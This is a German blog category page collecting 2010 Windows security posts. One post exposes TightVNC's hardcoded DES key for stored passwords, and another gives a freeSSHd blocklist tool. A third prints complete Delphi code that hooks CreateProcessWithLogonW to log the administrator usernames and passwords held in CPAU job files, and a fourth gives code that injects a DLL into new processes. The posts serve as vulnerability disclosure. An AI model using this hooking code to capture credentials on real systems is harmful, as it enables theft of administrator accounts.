Category: windows

Passwörter von TightVNC ermitteln...

24.11.2010 yahe administration code legacy security windows

Nachdem ich letztens nachgewiesen habe, wie unsicher eines der Lieblingstools von Hannes Schurig ist, hat dieser mich gestern angeschrieben und gefragt, ob ich mir nicht mal das OpenSource-Tool TightVNC angucken könnte. Wie er mitbekommen hatte, speichert der TightVNC-Server in der Registry unter "HKCU\Software\TightVNC\Server" zwei Werte mit den Namen "Password" und "PasswordViewOnly". Seine Frage war nun, ob es möglich wäre, aus den kryptischen Werten die ursprünglichen Passworte für den "Remote Control"- und den "Remote View Only"-Zugang wiederherzustellen.

Da man von diesem Programm die Quelltexte erhält, habe ich mir diesen natürlich zuerst angeguckt und auch relativ schnell eine Antwort auf die Frage gefunden: Ja, man kann die ursprünglichen Passworte anhand der Werte in der Registry ermitteln!

Um das herauszufinden, habe ich am Quellcode entlang gehangelt. Begonnen habe ich in der Datei "ServerConfig.cpp". In dieser wird die Klasse ServerConfig definiert, die später anscheinend die gesamte Konfiguration vorhält. In dieser Klasse gibt es u.a. auch die beiden Methoden "setControlPassword()" und "setReadOnlyPassword()", die einen Rückschluss auf die verschiedenen Zugänge zulassen. Um zu sehen, was weiter geschieht, habe ich nachgesehen, wo die Methode "setControlPassword()" überall aufgerufen wird. Das wiederum ist u.a. in der Datei "ControlApplication.cpp" der Fall, in der sich die Methode "run()" befindet. In der Methode werden anscheinend Kommandozeilenparameter verarbeitet und wie es aussieht, kann man die Passwörter über die Kommandozeile setzen. Auffallend ist die Verwendung der Methode "getCryptedPassword()". Sie befindet sich in der gleichen Datei und enthält u.a. einen Aufruf der Form "VncPassCrypt::getEncryptedPass()". Diese Methode (die sich in der Datei "VncPassCrypt.cpp" befindet) enthält nun die eigentlich interessante Passage:

void VncPassCrypt::getEncryptedPass(UINT8 encryptedPass[8],
                                    const UINT8 plainPassword[8])
{
  DesCrypt desCrypt;
  desCrypt.encrypt(encryptedPass, plainPassword,
                   sizeof(encryptedPass), m_key);
}

Das Passwort, das oben eingekippt wird, wird unten DES-verschlüsselt wieder ausgegeben. Eine Entschlüsselungsmethode wird übrigens gleich mitgeliefert und selbst das Passwort liegt fest einprogrammiert im Quelltext vor:

const UINT8 VncPassCrypt::m_key[] = { 23, 82, 107, 6, 35, 78, 88, 7 };

Man sollte sich also dringend überlegen, wie man die Passwörter in der Registry absichert, wenn man vorhat, TightVNC zum Beispiel zur Fernwartung von Mitarbeiter-PCs zu nutzen. Die Leute könnten schneller an das Passwort kommen, als einem lieb sein dürfte.


Remotedesktopverbindung: Eine geht noch...

17.11.2010 yahe administration legacy windows

Häufig muss ich es erleben, dass ich mich via RDP zur Administration auf einen Windows-Server verbinden muss, nur um dann die Meldung an den Kopf geworfen zu kriegen, dass "Die maximale Anzahl der Verbindungen [...] erreicht" sei. Eine Verbindung ist also nicht möglich, solange sich nicht mindestens ein Kollege von dem Server abmeldet.

Das denkt man zumindest! Denn das Standard-Tool mstsc (auch bekannt als "Remotedesktopverbindung") kennt einen Kommandozeilenparameter, mit dem man sich direkt mit der physikalischen Session des Servers verbinden kann. Mit folgendem Aufruf schafft man es meistens noch, eine Session zu ergattern, um seine Arbeiten zu erledigen:

mstsc /admin

Anschließend kann man dann mit qwinsta und rwinsta einen Kollegen aus seiner RDP-Session kicken und sich so eine eigene Session ergattern. (Achtung: Das ist natürlich nur ein Scherz!)


CPAU die Logindaten unter dem Arsch weg klauen

27.09.2010 yahe code legacy security windows

Ich finde es ja immer wieder interessant, wenn Hannes Schurig (@SchurigH) erklärt, wie ihm das Tool CPAU hilft, seine Administratorenaufgaben zu erledigen. Besonders spannend finde ich es, wenn er erklärt, wie es damit möglich ist, dem einfachen Nutzer Administratorenrechte zu geben, um eine Anwendung auszuführen, ohne, dass der Nutzer die eigentlichen Logindaten erfährt. Möglich ist das bei dem Programm dadurch, dass man sogenannte Job-Dateien erstellt, in denen der auszuführende Befehl inklusive der Accountdaten des Administrators verschlüsselt abgelegt wird. Letztens hat Hannes damit sogar ein Script gebaut, mit dem von einem Netzlaufwerk Programminstallationen ausgeführt werden können, natürlich wieder geschützt durch die Job-Dateien von CPAU.

Mich hat vor allem die sichere Verwahrung der Accountdaten fasziniert, denn wenn man sich das Tool genauer ansieht, erkennt man, dass für die Verschlüsselung der Job-Dateien gar kein Passwort angegeben werden muss. Ich dachte mir "Es müsste doch möglich sein, diese Job-Dateien auch wieder zu entschlüsseln.". Aber um ehrlich zu sein, war ich heute irgendwie viel zu faul dafür, denn bei einem kleinen Test fiel mir auf, wie CPAU die auszuführenden Programme startet: das Zauberwort heißt "CreateProcessWithLogonW". Dass diese Erkenntnis korrekt war, konnte ich dann sogar noch einmal im Blog des Entwicklers von CPAU nachlesen.

Um nun an die Logindaten in so einer Job-Datei zu kommen, ist nun gar nicht mehr so viel unbekanntes Wissen nötig. Das meiste, was man dazu braucht, habe ich schon mal in meinem Artikel über die uallCollection erwähnt. Wenn man sich die Beschreibung der Funktion CreateProcessWithLogonW in der MSDN-Bibliothek angeguckt hat, hat man gesehen, dass dort auch die Werte Username, Domain und Password mitgegeben werden müssen. Durch das Hooken dieser einen API-Funktion kann man diese Informationen also alle auf einen Schlag abgreifen.

unit CPAU;

interface

procedure HookCPAU(const ATargetPath : String);
procedure UnhookCPAU;

implementation

uses
  Windows,
  uallHook,
  SysUtils,
  DateUtils,
  ConstU;

type
  LPBYTE = PBYTE;

  TStartupInfoW = record
    cb              : DWORD;
    lpReserved      : LPWSTR;
    lpDesktop       : LPWSTR;
    lpTitle         : LPWSTR;
    dwX             : DWORD;
    dwY             : DWORD;
    dwXSize         : DWORD;
    dwYSize         : DWORD;
    dwXCountChars   : DWORD;
    dwYCountChars   : DWORD;
    dwFillAttribute : DWORD;
    dwFlags         : DWORD;
    wShowWindow     : WORD;
    cbReserved2     : WORD;
    lpReserved2     : LPBYTE;
    hStdInput       : THANDLE;
    hStdOutput      : THANDLE;
    hStdError       : THANDLE;
  end;
  PStartupInfoW = ^TStartupInfoW;

var
  VCPAULib    : HModule = 0;
  VTargetPath : String  = '';

  VNewCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  VOldCreateProcessWithLogonW : function (lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                          lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                          lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                          lpProcessInfo : PProcessInformation) : BOOL; stdcall;

function CatchCreateProcessWithLogonW(lpUsername : LPWSTR; lpDomain : LPWSTR; lpPassword : LPWSTR; dwLogonFlags: DWORD;
                                      lpApplicationName: LPWSTR; lpCommandLine : LPWSTR; dwCreationFlags : DWORD;
                                      lpEnvironment : Pointer; lpCurrentDirectory : LPWSTR; lpStartupInfo : PStartUpInfoW;
                                      lpProcessInfo : PProcessInformation) : BOOL; stdcall;
  function FillZero(const AValue : Word; const ALength : Byte) : String;
  begin
    Result := IntToStr(AValue);
    while (Length(Result) < ALength) do
      Result := '0' + Result;
  end;
var
  LDay       : Word;
  LFile      : TextFile;
  LHour      : Word;
  LMinute    : Word;
  LMonth     : Word;
  LMSecond   : Word;
  LSecond    : Word;
  LTimeValue : String;
  LYear      : Word;
begin
  Result := VNewCreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags,
                                        lpApplicationName, lpCommandLine, dwCreationFlags,
                                        lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                                        lpProcessInfo);

  DecodeDateTime(Now, LYear, LMonth, LDay, LHour, LMinute, LSecond, LMSecond);
  LTimeValue := FillZero(LYear, 4) + FillZero(LMonth, 2) + FillZero(LDay, 2) + '_' +
                FillZero(LHour, 2) + FillZero(LMinute, 2) + FillZero(LSecond, 2) + FillZero(LMSecond, 2);

  AssignFile(LFile, VTargetPath + LTimeValue + '.log');
  Rewrite(LFile);
  try
    WriteLn(LFile, 'Username   : ', String(lpUsername));
    WriteLn(LFile, 'Domain     : ', String(lpDomain));
    WriteLn(LFile, 'Password   : ', String(lpPassword));
    WriteLn(LFile, 'Application: ', String(lpApplicationName));
    WriteLn(LFile, 'CommandLine: ', String(lpCommandLine));
    WriteLn(LFile, 'CurrentDir : ', String(lpCurrentDirectory));
    WriteLn(LFile, 'Success    : ', Result);
  finally
    CloseFile(LFile);
  end;
end;

procedure HookCPAU(const ATargetPath : String);
begin
  VCPAULib := GetModuleHandle(ADVAPI32);
  if (VCPAULib <> 0) then
  begin
    VTargetPath := ATargetPath;

    @VOldCreateProcessWithLogonW := GetProcAddress(VCPAULib, 'CreateProcessWithLogonW');
    HookCode(@VOldCreateProcessWithLogonW, @CatchCreateProcessWithLogonW, @VNewCreateProcessWithLogonW);
  end;
end;

procedure UnhookCPAU;
begin
  if (VCPAULib <> 0) then
  begin
    VCPAULib := 0;

    UnhookCode(@VNewCreateProcessWithLogonW);
  end;
end;

end.

In meiner kleinen Testanwendung speichere ich die interessanten Informationen einfach jeweils in einer separaten Textdatei ab. Um nun an die Daten in so einer Job-Datei zu kommen, muss man einfach nur meine Testanwendung konfigurieren, diese starten und dann mit CPAU versuchen, die Job-Datei auszuführen, aus der man gerne die Accountdaten wissen möchte.

Lustig finde ich in diesem Zusammenhang, dass das Tool Steel RunAs genau das gleiche Problem hat, wie CPAU. Mit demselben Trick lassen sich auch dessen Credentials klauen. Besonders lustig ist das deshalb, da die Entwicklerfirma aktiv für die sichere Aufbewahrung der Logindaten wirbt: "Psuedo Random seed and RC4 encryption of the credentials stored inside the RunAs executable. Enhanced safety of credentials.".

An diesem Beispiel sieht man mal wieder sehr schön, dass die Verschlüsselung nicht zwangsläufig das schwächste Glied der Kette sein muss.


freeSSHd Security: Work in Progress

05.04.2010 yahe administration code legacy windows

Auf meinem Heimserver laufen freeSSHd und freeFTPd eigentlich ohne Probleme, wenn da nicht die Angriffe von außen wären. Allein in den letzten 1,5 Monaten wurde eine Million mal versucht, in meinen SSH-Server einzubrechen. Nochmal knapp 500.000 Einbruchsversuche gingen auf das Konto des FTP-Servers. Bisher war das noch kein Problem, aber ich würde doch gerne Gegenmaßnahmen ergreifen. Glücklicherweise bieten beide Server eine Möglichkeit, IP-Adressen zu blocken. Zudem wird in den Log-Dateien der Server protokolliert, wenn ein Benutzer versucht hat, sich mit falschen Daten (Benutzername oder Passwort) einzuloggen. Auf dieser Basis habe ich das Tool fsshdsec gebaut, das das Erstellen der Blockliste automatisiert.

freeSSHd Oberfläche

Auf dem Screenshot kann man erkennen, wo was eingestellt sein muss, damit die IPs in dem großen Feld ausgesperrt werden. Sowohl die Einstellung "Refuse these IP addresses" als auch die eigentliche Liste können über die *.ini-Datei des Servers verwaltet werden. Im Bereich "Access filtering" der *.ini-Datei gibt es den Wert "HostRestrictions", in dem die Liste der geblockten IPs stehen. Wenn der Wert "HostRestrictionsAllow" auf null ("0") gesetzt ist, ist allen IPs der Zugriff auf den Server verboten. Zum erneuten Einlesen der Daten ist leider ein Neustart des Servers erforderlich. Den Neustart kann man am einfachsten realisieren, wenn der Server als Windows-Dienst installiert worden ist, denn dann kann man ihn über die Diensteverwaltung problemlos stoppen und wieder starten. Bei der Liste der gesperrten IP-Adressen gibt es hingegen leider ein größeres Problem.

freeSSHd \*.ini-Datei

In beiden Screenshots habe ich den letzten Eintrag in der Liste der geblockten IPs markiert. Wie man sieht, stehen in der *.ini-Datei mehr Einträge, als in der Oberfläche angezeigt werden. Wie es scheint, kann der Server nur maximal 2kb an Daten verarbeiten, der Rest wird einfach ignoriert. Wegen dieser Unzulänglichkeit habe ich vor Ostern den Entwickler der beiden Server angeschrieben. Bisher habe ich jedoch leider keine Antwort erhalten. Sollte das Problem auch zukünftig bestehen, werde ich wohl oder übel einen eigenen kleinen Proxy schreiben müssen, der an eine IP-Filtertabelle angeschlossen ist.

Trotz des Problems wollte ich euch an dieser Stelle schon einmal die bisherige Lösung zur Verfügung stellen. Sie ist noch in einem ganz frühen Alphastadium, deshalb sollte man sie nur dann einsetzen, wenn man auch wirklich weiß, was man tut. Der freeSSHd-Server muss für die Verwendung als Service installiert sein. Alle Informationen über den Server holt sich das Programm direkt aus der Diensteverwaltung, sowie der Log- und der *.ini-Datei. Das Programm ist auch als kleine Sicherung gedacht. Wenn der freeSSHd-Server also einmal unverhofft abstürzen sollte, wird er nun automatisch neu gestartet.


Hooking mit uallCollection

20.02.2010 yahe code legacy security windows

Ich habe die letzten Tage an einem Projekt gearbeitet, für das ich systemweit API-Aufrufe hooken können musste. Leider ist dieses Unterfangen nicht so einfach. Im Internet finden sich einige Lösungen für dieses Problem: Angefangen beim Schreiben von Systemtreibern, bis hin zum Injizieren von Threads in bereits laufende Prozesse.

Besonders gut scheint das Paket madHookCode zu sein, das leider weder günstig noch einfach zu beschaffen ist. Glücklicherweise gibt es die uallCollection, welche die gleiche Methode wie das Paket madHookCode zu benutzen scheint. Auch sonst scheinen die beiden Projekte eng miteinander verknüpft zu sein. Für den Programmierer, der sich zwischen den beiden Paketen entscheiden muss, ist das jedenfalls ein Vorteil, da die uallCollection komplett kostenfrei ist. Lediglich das Injizieren neu gestarteter Prozesse beherrscht die uallCollection nicht. Mit ein paar Zeilen Code kann man diese Funktion jedoch recht leicht selbst bauen:

unit ProcessU;

interface

procedure HookProcess;
procedure UnhookProcess;

implementation

uses
  Windows,
  uallHook,
  MainU;

var
  VProcessLib : HMODULE = 0;

  VNewCreateProcessA : function (lpApplicationName: PChar; lpCommandLine: PChar;
                         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
                         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
                         lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
                         var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  VOldCreateProcessA : function (lpApplicationName: PChar; lpCommandLine: PChar;
                         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
                         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
                         lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
                         var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  VNewCreateProcessW : function (lpApplicationName: PWideChar; lpCommandLine: PWideChar;
                         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
                         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
                         lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
                         var lpProcessInformation: TProcessInformation): BOOL; stdcall;
  VOldCreateProcessW : function (lpApplicationName: PWideChar; lpCommandLine: PWideChar;
                         lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
                         bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
                         lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
                         var lpProcessInformation: TProcessInformation): BOOL; stdcall;

function CatchCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall; forward;
function CatchCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall; forward;

function CatchCreateProcessA(lpApplicationName: PChar; lpCommandLine: PChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  Result := VNewCreateProcessA(lpApplicationName, lpCommandLine, lpProcessAttributes,
                               lpThreadAttributes, bInheritHandles, dwCreationFlags,
                               lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                               lpProcessInformation);

  if Result then
    InjectLibrary(lpProcessInformation.dwProcessId, PAnsiChar(GetDLLFileName));
end;
function CatchCreateProcessW(lpApplicationName: PWideChar; lpCommandLine: PWideChar;
  lpProcessAttributes, lpThreadAttributes: PSecurityAttributes;
  bInheritHandles: BOOL; dwCreationFlags: DWORD; lpEnvironment: Pointer;
  lpCurrentDirectory: PWideChar; const lpStartupInfo: TStartupInfo;
  var lpProcessInformation: TProcessInformation): BOOL; stdcall;
begin
  Result := VNewCreateProcessW(lpApplicationName, lpCommandLine, lpProcessAttributes,
                               lpThreadAttributes, bInheritHandles, dwCreationFlags,
                               lpEnvironment, lpCurrentDirectory, lpStartupInfo,
                               lpProcessInformation);

  if Result then
    InjectLibrary(lpProcessInformation.dwProcessId, PAnsiChar(GetDLLFileName));
end;

procedure HookProcess;
begin
  VProcessLib := GetModuleHandle(KERNEL32);
  if (VProcessLib <> 0) then
  begin
    @VOldCreateProcessA := GetProcAddress(VProcessLib, 'CreateProcessA');
    @VOldCreateProcessW := GetProcAddress(VProcessLib, 'CreateProcessW');

    HookCode(@VOldCreateProcessA, @CatchCreateProcessA, @VNewCreateProcessA);
    HookCode(@VOldCreateProcessW, @CatchCreateProcessW, @VNewCreateProcessW);
  end;
end;

procedure UnhookProcess;
begin
  if (VProcessLib <> 0) then
  begin
    VProcessLib := 0;

    UnhookCode(@VNewCreateProcessA);
    UnhookCode(@VNewCreateProcessW);
  end;
end;

end.

Search

Links

RSS feed

Categories

administration (40)
arduino (12)
calcpw (2)
code (33)
hardware (16)
java (2)
legacy (113)
linux (27)
publicity (6)
review (2)
security (58)
thoughts (21)
windows (17)
wordpress (19)